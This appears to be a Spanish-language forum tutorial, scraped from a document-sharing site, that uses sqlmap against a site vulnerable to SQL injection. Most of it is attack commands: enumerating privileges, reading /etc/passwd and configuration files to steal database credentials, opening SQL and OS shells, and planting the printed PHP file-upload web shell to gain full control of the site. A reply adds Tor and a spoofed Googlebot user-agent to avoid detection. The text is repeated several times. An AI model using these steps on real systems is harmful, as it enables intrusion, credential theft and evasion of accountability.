Sunteți pe pagina 1din 10

Ya identificado el usuario, quiero saber si este es el administrador de la base de datos, para lo cual use --is-

dba. Y si quiero saber a qu base de datos se est conectando usar: --Current-db



Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --is-
dba current-db

La consulta anterior nos dice que no es el dba.




Ahora se necesita saber qu privilegios posee el usuario que realiza dicha consulta dentro del servidor,
para as poder enfocar mejor nuestro vector de ataque. El comando a usar para la enumeracin de los
privilegios es --privileges


Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --
privileges

Se encontraron varios "administradores", pero con distintos privilegios. A continuacin presento solo el
resultado de nuestro usuario:



Como se observa en la imagen anterior, se poseen muchos privilegios; ahora s todo depende de la
imaginacin y del objetivo del atacante.

Al momento de identificar si el sitio era vulnerable o no a la tcnica de SQL Injection, se generaron errores
en la aplicacin y gracias a que hay un mal manejo de ellos se pudo obtener la ruta raz del servidor (Full
path disclosure). sta ser de ayuda ms adelante para la lectura y escritura de algunas pginas, siempre y
cuando el usuario de la consulta tenga los permisos suficientes en el servidor web.

Para realizar la lectura de ficheros se usa el comando --file-read acompaado de la ruta en que se
encuentra este, para este caso "/etc/passwd"

Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 file-
read=/etc/passwd

Como respuesta, SQLMap lo descarga y lo guarda en la carpeta files.



Adems, esta herramienta permite la lectura del cdigo fuente de las pginas de la aplicacin que se le
especifique. Para este ejemplo, el objetivo era conseguir los datos de conexin de la base de datos. Para
ello, le ped a SQLMap leer la pagina de inicio, index.php

Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --file-
read=ruta_raiz_del_servidor/index.php

En el cdigo fuente extrado, se muestra que hay una pagina que est incluyendo, conn.php. Posiblemente
sta nos brinde ms informacin.



Leyendo conn.php

Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --file-
read=ruta_raiz_del_servidor/conn.php

Y sta nos da ms datos, esta vez la ruta donde se encuentra la informacin que se est buscando.

Leyendo Ruta/local_db.inc


Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 file-
read=ruta_raiz_del_servidor/local_db.icn

y como respuesta tenemos los datos de conexin de la base de datos:



y si lo que se quiere es tener una shell sql, con el siguiente comando --sql-shell se puede obtener de la
siguiente forma:

Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --sql-
shell

Como respuesta nos da una shell sql en donde se podr realizar consultas, como se muestra a
continuacin:



En caso de poseer los suficientes privilegios, se podr ejecutar comandos en el sistema operativo, entre
otra multitud de acciones. Para no hacer muy extenso este post solo usar el comando --os-shell, que nos
permitir conseguir una shell en el servidor.


Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --os-
shell

Despus de ejecutar la sentencia anterior, SQLMap nos arrojar informacin sobre el sistema operativo en
el que corre la aplicacin y pedir que se le especifique el lenguaje de la misma y la ruta raz del servidor.




Y finalmente, crea una pgina, en este caso en php, en el servidor con la ruta especificada con el siguiente
cdigo:

Spoiler

Esta pgina que se insert en el servidor web nos permitir subir cualquier archivo, en este caso una
phpshell, para as tener control completo del sitio.







SQLMap es una herramienta muy completa y flexible. Fue creada por Bernardo Damele Assumpcao
Guimaraes y Miroslav Stampar. Se caracteriza por permitir la realizacin de ataques de SQL Injection
automatizados contra un sitio web vulnerable y, debido a su gran variedad de opciones, se podr
personalizar las tcnicas usadas dependiendo del objetivo.

SQLMap agrupa sus comandos por categoras, denominadas de la siguiente forma: Target, Request,
Optimization, Injection, Detection, Techniques, Fingerprint, Enumeration, Brute force, User-defined function
injection, File system access, Operating system access, Windows registry access, General y Miscellaneous.
Todas estas categoras se encuentran detalladas en el manual de esta herramienta, que esta disponible en
el siguiente enlace sqlmap.sourceforge.net/doc/README.pdf.

A pesar de las mltiples funciones que trae consigo SQLMap, el comando mas usado y conocido por
muchos es dump, con el cual se podr bajar o dumpear la base de datos. En esta ocasin har caso omiso
de dump, y "jugar" con otras opciones que tambin me parecen interesantes; sin embargo, no hablar de
todas, puesto que no pretendo realizar un manual. Mirando el --help de esta herramienta podremos
encontrar todos los comandos que nos permitirn personalizar las tcnicas usadas dependiendo de la
aplicacin en que nos encontremos.

Tomar como ejemplo un sitio vulnerable a SQL Injection para la realizacin de esta practica. Con el fin de
proteger la identidad y los datos sensibles que puedan ser expuestos, algunas imgenes y consultas han
sido modificadas.

Teniendo ya mi sitio con una variable vulnerable a SQL Injection, lo primero que se me vino a la mente fue
saber con qu usuario se estn realizando las peticiones, para ello uso el parmetro --Current-user y armo
mi consulta de la siguiente forma:


Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10
current-user

Como respuesta, el servidor trae el nombre del usuario como se presenta en la siguiente imagen:


Ya identificado el usuario, quiero saber si este es el administrador de la base de datos, para lo cual use --is-
dba. Y si quiero saber a qu base de datos se est conectando usar: --Current-db


Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --is-
dba current-db

La consulta anterior nos dice que no es el dba.


Ahora se necesita saber qu privilegios posee el usuario que realiza dicha consulta dentro del servidor,
para as poder enfocar mejor nuestro vector de ataque. El comando a usar para la enumeracin de los
privilegios es --privileges


Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --
privileges

Se encontraron varios "administradores", pero con distintos privilegios. A continuacin presento solo el
resultado de nuestro usuario:


Como se observa en la imagen anterior, se poseen muchos privilegios; ahora s todo depende de la
imaginacin y del objetivo del atacante.

Al momento de identificar si el sitio era vulnerable o no a la tcnica de SQL Injection, se generaron errores
en la aplicacin y gracias a que hay un mal manejo de ellos se pudo obtener la ruta raz del servidor (Full
path disclosure). sta ser de ayuda ms adelante para la lectura y escritura de algunas pginas, siempre y
cuando el usuario de la consulta tenga los permisos suficientes en el servidor web.

Para realizar la lectura de ficheros se usa el comando --file-read acompaado de la ruta en que se
encuentra este, para este caso "/etc/passwd"



Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 file-
read=/etc/passwd

Como respuesta, SQLMap lo descarga y lo guarda en la carpeta files.

Adems, esta herramienta permite la lectura del cdigo fuente de las pginas de la aplicacin que se le
especifique. Para este ejemplo, el objetivo era conseguir los datos de conexin de la base de datos. Para
ello, le ped a SQLMap leer la pagina de inicio, index.php

Data provided by Pastebin.com - Download Raw - See Original
Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --file-
read=ruta_raiz_del_servidor/index.php

En el cdigo fuente extrado, se muestra que hay una pagina que est incluyendo, conn.php. Posiblemente
sta nos brinde ms informacin.

Leyendo conn.php


Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --file-
read=ruta_raiz_del_servidor/conn.php

Y sta nos da ms datos, esta vez la ruta donde se encuentra la informacin que se est buscando.

Leyendo Ruta/local_db.inc



Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 file-
read=ruta_raiz_del_servidor/local_db.icn

y como respuesta tenemos los datos de conexin de la base de datos:

Y si lo que se quiere es tener una shell sql, con el siguiente comando --sql-shell se puede obtener de la
siguiente forma:



Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --sql-
shell

Como respuesta nos da una shell sql en donde se podr realizar consultas, como se muestra a
continuacin:

En caso de poseer los suficientes privilegios, se podr ejecutar comandos en el sistema operativo, entre
otra multitud de acciones. Para no hacer muy extenso este post solo usar el comando --os-shell, que nos
permitir conseguir una shell en el servidor.



Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --os-
shell

Despus de ejecutar la sentencia anterior, SQLMap nos arrojar informacin sobre el sistema operativo en
el que corre la aplicacin y pedir que se le especifique el lenguaje de la misma y la ruta raz del servidor.

Y finalmente, crea una pgina, en este caso en php, en el servidor con la ruta especificada con el siguiente
cdigo:


Cdigo: [Seleccionar]
<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];
if
(phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_up
loaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or
die();
}else{
$file=$_FILES["file"]["name"];
@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or
die();
}
@chmod($dir."/".$file,0755);echo "File uploaded";
}else {
echo "<form action=".$_SERVER["PHP_SELF"]." method=POST
enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE
value=1000000000><b>sqlmap file uploader</b><br><input name=file
type=file><br>to directory: <input type=text name=uploadDir
value=Ruta_Raiz_del_servidor/prueba> <input type=submit name=upload
value=upload></form>";
}
?>

Esta pgina que se insert en el servidor web nos permitir subir cualquier archivo, en este caso una
phpshell, para as tener control completo del sitio.




SQLMap es una herramienta muy completa y flexible. Fue creada por Bernardo Damele Assumpcao
Guimaraes y Miroslav Stampar. Se caracteriza por permitir la realizacin de ataques de SQL Injection
automatizados contra un sitio web vulnerable y, debido a su gran variedad de opciones, se podr
personalizar las tcnicas usadas dependiendo del objetivo.

SQLMap agrupa sus comandos por categoras, denominadas de la siguiente forma: Target, Request,
Optimization, Injection, Detection, Techniques, Fingerprint, Enumeration, Brute force, User-defined function
injection, File system access, Operating system access, Windows registry access, General y Miscellaneous.
Todas estas categoras se encuentran detalladas en el manual de esta herramienta, que esta disponible en
el siguiente enlace sqlmap.sourceforge.net/doc/README.pdf.

A pesar de las mltiples funciones que trae consigo SQLMap, el comando mas usado y conocido por
muchos es dump, con el cual se podr bajar o dumpear la base de datos. En esta ocasin har caso omiso
de dump, y "jugar" con otras opciones que tambin me parecen interesantes; sin embargo, no hablar de
todas, puesto que no pretendo realizar un manual. Mirando el --help de esta herramienta podremos
encontrar todos los comandos que nos permitirn personalizar las tcnicas usadas dependiendo de la
aplicacin en que nos encontremos.

Tomar como ejemplo un sitio vulnerable a SQL Injection para la realizacin de esta practica. Con el fin de
proteger la identidad y los datos sensibles que puedan ser expuestos, algunas imgenes y consultas han
sido modificadas.

Teniendo ya mi sitio con una variable vulnerable a SQL Injection, lo primero que se me vino a la mente fue
saber con qu usuario se estn realizando las peticiones, para ello uso el parmetro --Current-user y armo
mi consulta de la siguiente forma:


Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10
current-user

Como respuesta, el servidor trae el nombre del usuario como se presenta en la siguiente imagen:

Ya identificado el usuario, quiero saber si este es el administrador de la base de datos, para lo cual use --is-
dba. Y si quiero saber a qu base de datos se est conectando usar: --Current-db


Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --is-
dba current-db

La consulta anterior nos dice que no es el dba.

Ahora se necesita saber qu privilegios posee el usuario que realiza dicha consulta dentro del servidor,
para as poder enfocar mejor nuestro vector de ataque. El comando a usar para la enumeracin de los
privilegios es --privileges


Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --
privileges

Se encontraron varios "administradores", pero con distintos privilegios. A continuacin presento solo el
resultado de nuestro usuario:

Como se observa en la imagen anterior, se poseen muchos privilegios; ahora s todo depende de la
imaginacin y del objetivo del atacante.

Al momento de identificar si el sitio era vulnerable o no a la tcnica de SQL Injection, se generaron errores
en la aplicacin y gracias a que hay un mal manejo de ellos se pudo obtener la ruta raz del servidor (Full
path disclosure). sta ser de ayuda ms adelante para la lectura y escritura de algunas pginas, siempre y
cuando el usuario de la consulta tenga los permisos suficientes en el servidor web.

Para realizar la lectura de ficheros se usa el comando --file-read acompaado de la ruta en que se
encuentra este, para este caso "/etc/passwd"


Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 file-
read=/etc/passwd

Como respuesta, SQLMap lo descarga y lo guarda en la carpeta files.

Adems, esta herramienta permite la lectura del cdigo fuente de las pginas de la aplicacin que se le
especifique. Para este ejemplo, el objetivo era conseguir los datos de conexin de la base de datos. Para
ello, le ped a SQLMap leer la pagina de inicio, index.php


Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --file-
read=ruta_raiz_del_servidor/index.php

En el cdigo fuente extrado, se muestra que hay una pagina que est incluyendo, conn.php. Posiblemente
sta nos brinde ms informacin.

Leyendo conn.php


Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --file-
read=ruta_raiz_del_servidor/conn.php

Y sta nos da ms datos, esta vez la ruta donde se encuentra la informacin que se est buscando.

Leyendo Ruta/local_db.inc


Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 file-
read=ruta_raiz_del_servidor/local_db.icn

y como respuesta tenemos los datos de conexin de la base de datos:

Y si lo que se quiere es tener una shell sql, con el siguiente comando --sql-shell se puede obtener de la
siguiente forma:


Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --sql-
shell

Como respuesta nos da una shell sql en donde se podr realizar consultas, como se muestra a
continuacin:

En caso de poseer los suficientes privilegios, se podr ejecutar comandos en el sistema operativo, entre
otra multitud de acciones. Para no hacer muy extenso este post solo usar el comando --os-shell, que nos
permitir conseguir una shell en el servidor.


Cdigo: [Seleccionar]
./sqlmap.py -u http://www.paginadeprueba.com/noticia.php?id=10 --os-
shell

Despus de ejecutar la sentencia anterior, SQLMap nos arrojar informacin sobre el sistema operativo en
el que corre la aplicacin y pedir que se le especifique el lenguaje de la misma y la ruta raz del servidor.

Y finalmente, crea una pgina, en este caso en php, en el servidor con la ruta especificada con el siguiente
cdigo:


Cdigo: [Seleccionar]
<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];
if
(phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_up
loaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or
die();
}else{
$file=$_FILES["file"]["name"];
@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or
die();
}
@chmod($dir."/".$file,0755);echo "File uploaded";
}else {
echo "<form action=".$_SERVER["PHP_SELF"]." method=POST
enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE
value=1000000000><b>sqlmap file uploader</b><br><input name=file
type=file><br>to directory: <input type=text name=uploadDir
value=Ruta_Raiz_del_servidor/prueba> <input type=submit name=upload
value=upload></form>";
}
?>

Esta pgina que se insert en el servidor web nos permitir subir cualquier archivo, en este
caso una phpshell, para as tener control completo del sitio.

Estas son unas pocas muestras de la potencia y flexibilidad de las opciones no tan populares de
esta fantstica herramienta. Es aconsejable investigar con mayor profundidad las posibilidades
de SQLMap,

compadre muy bueno, podras agregar algn mtodo de anonimato, por que as te detectan
de una, podra ser el tor + polipo
por que imagnate, un new boy en este mundo, empieza a realizar estos actos, es detenido de
una.

ej:

Cdigo: [Seleccionar]
--tor --user-agent="Mozilla 5 (compatible, googlebot/2.1,
http://www.google.com/bot.html)"

tor = usa servidores como nodos de proxy's y se va actualizando como list proxy

Cdigo: [Seleccionar]
--user-agent="Mozilla 5 (compatible, googlebot/2.1,
http://www.google.com/bot.html)

as se ocultarian como agentes usuarios de mozilla firefox en su versin 5, siendo BOT de
google en su versin 2.1, y la referencia del BOT


Polipo se adhiere directamente a TOR a travs de los puertos as completamente annimos

espero les sirva como para completar un poquito el post

S-ar putea să vă placă și